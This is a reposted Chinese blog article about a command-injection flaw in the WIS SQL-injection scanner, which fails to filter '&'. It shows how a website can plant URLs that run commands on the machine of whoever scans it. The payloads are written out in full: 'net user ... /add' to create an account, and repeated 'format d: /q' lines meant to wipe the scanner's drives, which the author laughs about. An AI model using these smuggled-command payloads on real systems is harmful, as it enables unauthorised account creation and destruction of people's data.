看看下面作者的分析````````文章来源:[url]www.hackbase.com[/url]文章作者:喜欢忧伤小榕的WIS漏洞补充篇及利用篇 --------------------------------------------------------------------------------编者:昨天就看见ALLyeSNO的这个文章了,但是始终不明白原文里说的意思.直到今天......漏洞发现者 : ALLyeSNO [url]http://blog.csdn.net/freexploit/[/url]WIS是小榕开发的SQL漏洞扫描工具WIS对&字符未做严格过滤 导致可以 人为的创建含&字符的语句 在扫描者机子上执行任意代码&net user allyesno 12345 /add不是wis&net user allyesno 12345 /add而是 使用 wis对 某一个网站进行扫描的时候我们可以利用wis未过滤& 在被扫描的网站代码 例如asp代码中嵌入&net user administrator 12345 /add当wis对它进行扫描的时候 结果如下sqlbug?=sql&net">[url]http://www.target.com/sqlbug?=sql&net[/url] user administrator 12345 /add本地执行wis &net user allyesno 12345 /add 是肯定可以的 因为&是把两段指令连在一起执行下面是喜欢忧伤写的一篇关于这个漏洞的文章,本来他说要好好写下再发,可我等不及了作者:喜欢忧伤 [url]http://www.powers.com.cn[/url]问题的产生1.&用来连接两条Dos命令,就是cmd.exe 会把&前后的命令分开两句来执行2.wis这个工具没有过滤&所以在你用这个工具去扫描别人的时候就会出问题正常情况下是你的cmd.exe下执行wis [url]http://www.xx.com/?xx.asp?id=123[/url]没什么问题如果碰到[url]http://www.xx.com/?xx.asp?id=123&net[/url] user test 123 /add的时候就变成你的cmd.exe执行wis [url]http://www.xx.com/?xx.asp?id=123&net[/url] user test 123 /add看清楚了这个语句中有一个&,所以相当于wis [url]http://www.xx.com/?xx.asp?id=123[/url]net user test 123 /add也就是在你的机器上执行了两个语句。。。wis [url]http://www.xx.com/?xx.asp?id=123[/url]没问题,执行后半句的时候就来问题了,增加用户了那你机器上当然添加了一个帐号了当然, 还有更狠的:[url]http://www.xxx.com/a.asp?id=1&format[/url] d: /q[url]http://www.xxx.com/a.asp?id=1&format[/url] e: /q[url]http://www.xxx.com/a.asp?id=1&format[/url] f: /q......[url]http://www.xxx.com/a.asp?id=1©[/url] c:\ d:\ [url]http://www.xxx.com/a.asp?id=1©[/url] c:\ e:\ [url]http://www.xxx.com/a.asp?id=1©[/url] c:\ f:\ .....d,e,f,...资料很可能全没有了,。哈哈
本文转自loveme2351CTO博客,原文链接:http://blog.51cto.com/loveme23/8539,如需转载请自行联系原作者